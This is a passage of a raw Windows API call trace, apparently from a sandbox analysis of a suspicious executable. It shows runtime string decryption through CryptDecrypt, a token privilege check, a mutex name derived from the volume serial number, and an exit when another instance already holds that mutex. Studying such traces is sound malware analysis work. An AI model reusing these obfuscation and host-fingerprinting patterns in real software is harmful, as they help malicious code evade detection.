(HeapHandle=0x7c0000, Flags=0x8, Size=0x17) returned 0x7c1c40 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x24) returned 0x7c1c60 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x14) returned 0x7c1c90 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xd) returned 0x7c1cb0 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x25) returned 0x7c1cc8 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x39) returned 0x7c1cf8 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x18) returned 0x7c1d40 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x17) returned 0x7c1d60 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xe) returned 0x7c1d80 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x69) returned 0x7c1d98 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x3e) returned 0x7c1e10 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1b) returned 0x7c1e58 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1d) returned 0x7c1e80 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x48) returned 0x7c1ea8 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x12) returned 0x7c1ef8 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x18) returned 0x7c1f18 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1b) returned 0x7c1f38 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x24) returned 0x7c1f60 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x29) returned 0x7c1f90 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c1fc8 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x41) returned 0x7c1ff0 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x17) returned 0x7c2040 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x14) returned 0x7c2060 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0xf) returned 0x7c2080 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x16) returned 0x7c2098 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x2a) returned 0x7c20b8 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x29) returned 0x7c20f0 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x15) returned 0x7c2128 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c2148 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x2a) returned 0x7c2170 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x12) returned 0x7c21a8 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x18) returned 0x7c21c8 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x46) returned 0x7c21e8 [0265.875] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c11f8 | out: hHeap=0x7c0000) returned 1 [0265.876] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0265.876] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x80) returned 0x7c11f8 [0265.876] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xf581f6) returned 0x0 [0265.876] RtlSizeHeap (HeapHandle=0x7c0000, Flags=0x0, MemoryPointer=0x7c11f8) returned 0x80 [0266.413] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x30) returned 0x7c1280 [0266.413] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x3340) returned 0x7c2238 [0266.413] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x174) returned 0x7c12b8 [0266.413] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x10) returned 0x7c1438 [0266.413] CryptAcquireContextW (in: phProv=0xf5fcf0, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xf5fcf0*=0x855030) returned 1 [0266.424] CryptImportKey (in: hProv=0x855030, pbData=0x43f6c8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x43f730 | out: phKey=0x43f730*=0x854fd8) returned 1 [0266.424] CryptSetKeyParam (hKey=0x854fd8, dwParam=0x1, pbData=0x43f718, dwFlags=0x0) returned 1 [0266.635] CryptDecrypt (in: hKey=0x854fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1438, pdwDataLen=0x43f6e4 | out: pbData=0x7c1438, pdwDataLen=0x43f6e4) returned 1 [0266.636] CryptDestroyKey (hKey=0x854fd8) returned 1 [0266.636] GetTickCount () returned 0x6b6e [0266.636] GetLastError () returned 0x0 [0266.636] SetLastError (dwErrCode=0x0) [0266.636] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x43f754, cchData=32 | out: lpLCData="\x03") returned 16 [0266.637] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1c) returned 0x7c1450 [0266.637] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1c) returned 0x7c1478 [0266.637] GetVersion () returned 0x1db10106 [0266.637] GetCurrentProcess () returned 0xffffffff [0266.637] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x43f73c | out: TokenHandle=0x43f73c*=0x80) returned 1 [0266.637] GetTokenInformation (in: TokenHandle=0x80, TokenInformationClass=0x14, TokenInformation=0x43f734, TokenInformationLength=0x4, ReturnLength=0x43f738 | out: TokenInformation=0x43f734, ReturnLength=0x43f738) returned 1 [0266.637] CloseHandle (hObject=0x80) returned 1 [0266.637] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c14a0 [0266.637] CryptImportKey (in: hProv=0x855030, pbData=0x43f630, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x43f698 | out: phKey=0x43f698*=0x857520) returned 1 [0266.637] CryptSetKeyParam (hKey=0x857520, dwParam=0x1, pbData=0x43f680, dwFlags=0x0) returned 1 [0266.637] CryptDecrypt (in: hKey=0x857520, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c14a0, pdwDataLen=0x43f64c | out: pbData=0x7c14a0, pdwDataLen=0x43f64c) returned 1 [0266.637] CryptDestroyKey (hKey=0x857520) returned 1 [0266.637] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c14c8 [0266.637] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c14f0 [0266.637] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c1518 [0266.637] CryptImportKey (in: hProv=0x855030, pbData=0x43f608, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x43f670 | out: phKey=0x43f670*=0x857520) returned 1 [0266.637] CryptSetKeyParam (hKey=0x857520, dwParam=0x1, pbData=0x43f658, dwFlags=0x0) returned 1 [0266.637] CryptDecrypt (in: hKey=0x857520, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1518, pdwDataLen=0x43f624 | out: pbData=0x7c1518, pdwDataLen=0x43f624) returned 1 [0266.637] CryptDestroyKey (hKey=0x857520) returned 1 [0266.637] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1518 | out: hHeap=0x7c0000) returned 1 [0266.637] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0266.637] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14f0 | out: hHeap=0x7c0000) returned 1 [0266.637] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14a0 | out: hHeap=0x7c0000) returned 1 [0266.637] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x43f6d8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x43f6d8*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0266.637] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14c8 | out: hHeap=0x7c0000) returned 1 [0266.637] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c14a0 [0266.637] CryptImportKey (in: hProv=0x855030, pbData=0x43f664, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x43f6cc | out: phKey=0x43f6cc*=0x857520) returned 1 [0266.637] CryptSetKeyParam (hKey=0x857520, dwParam=0x1, pbData=0x43f6b4, dwFlags=0x0) returned 1 [0266.637] CryptDecrypt (in: hKey=0x857520, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c14a0, pdwDataLen=0x43f680 | out: pbData=0x7c14a0, pdwDataLen=0x43f680) returned 1 [0266.637] CryptDestroyKey (hKey=0x857520) returned 1 [0266.637] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c14e8 [0266.638] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4201") returned 0x0 [0266.638] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\10969C354B4201") returned 0x84 [0266.638] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x0 [0266.638] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14a0 | out: hHeap=0x7c0000) returned 1 [0266.638] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14e8 | out: hHeap=0x7c0000) returned 1 [0266.638] ReleaseMutex (hMutex=0x84) returned 1 [0266.638] CloseHandle (hObject=0x84) returned 1 [0266.638] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x20) returned 0x7c14a0 [0266.638] CryptImportKey (in: hProv=0x855030, pbData=0x43f644, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x43f6ac | out: phKey=0x43f6ac*=0x857520) returned 1 [0266.638] CryptSetKeyParam (hKey=0x857520, dwParam=0x1, pbData=0x43f694, dwFlags=0x0) returned 1 [0266.638] CryptDecrypt (in: hKey=0x857520, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c14a0, pdwDataLen=0x43f660 | out: pbData=0x7c14a0, pdwDataLen=0x43f660) returned 1 [0266.638] CryptDestroyKey (hKey=0x857520) returned 1 [0266.638] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1e) returned 0x7c14c8 [0266.638] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x1e) returned 0x7c14f0 [0266.638] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x90) returned 0x7c1518 [0266.638] CryptImportKey (in: hProv=0x855030, pbData=0x43f61c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x43f684 | out: phKey=0x43f684*=0x857520) returned 1 [0266.638] CryptSetKeyParam (hKey=0x857520, dwParam=0x1, pbData=0x43f66c, dwFlags=0x0) returned 1 [0266.638] CryptDecrypt (in: hKey=0x857520, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c1518, pdwDataLen=0x43f638 | out: pbData=0x7c1518, pdwDataLen=0x43f638) returned 1 [0266.638] CryptDestroyKey (hKey=0x857520) returned 1 [0266.638] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1518 | out: hHeap=0x7c0000) returned 1 [0266.638] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x7c14c8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0266.638] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14f0 | out: hHeap=0x7c0000) returned 1 [0266.638] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14a0 | out: hHeap=0x7c0000) returned 1 [0266.638] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x43f6ec, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x43f6ec*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0266.638] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14c8 | out: hHeap=0x7c0000) returned 1 [0266.638] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0x40) returned 0x7c14a0 [0266.638] CryptImportKey (in: hProv=0x855030, pbData=0x43f678, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x43f6e0 | out: phKey=0x43f6e0*=0x857520) returned 1 [0266.638] CryptSetKeyParam (hKey=0x857520, dwParam=0x1, pbData=0x43f6c8, dwFlags=0x0) returned 1 [0266.638] CryptDecrypt (in: hKey=0x857520, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x7c14a0, pdwDataLen=0x43f694 | out: pbData=0x7c14a0, pdwDataLen=0x43f694) returned 1 [0266.638] CryptDestroyKey (hKey=0x857520) returned 1 [0266.638] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x34) returned 0x7c14e8 [0266.638] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x84 [0266.638] WaitForSingleObject (hHandle=0x84, dwMilliseconds=0x0) returned 0x102 [0266.638] CloseHandle (hObject=0x84) returned 1 [0266.638] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14a0 | out: hHeap=0x7c0000) returned 1 [0266.638] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c14e8 | out: hHeap=0x7c0000) returned 1 [0266.639] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1450 | out: hHeap=0x7c0000) returned 1 [0266.639] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1478 | out: hHeap=0x7c0000) returned 1 [0266.639] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1438 | out: hHeap=0x7c0000) returned 1 [0266.639] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c12b8 | out: hHeap=0x7c0000) returned 1 [0266.639] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c2238 | out: hHeap=0x7c0000) returned 1 [0266.639] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c1280 | out: hHeap=0x7c0000) returned 1 [0266.639] GetModuleHandleW (lpModuleName="mscoree.dll") returned 0x0 [0266.639] ExitProcess (uExitCode=0x0) [0266.639] HeapFree (in: hHeap=0x7c0000, dwFlags=0x0, lpMem=0x7c07d0 | out: hHeap=0x7c0000) returned 1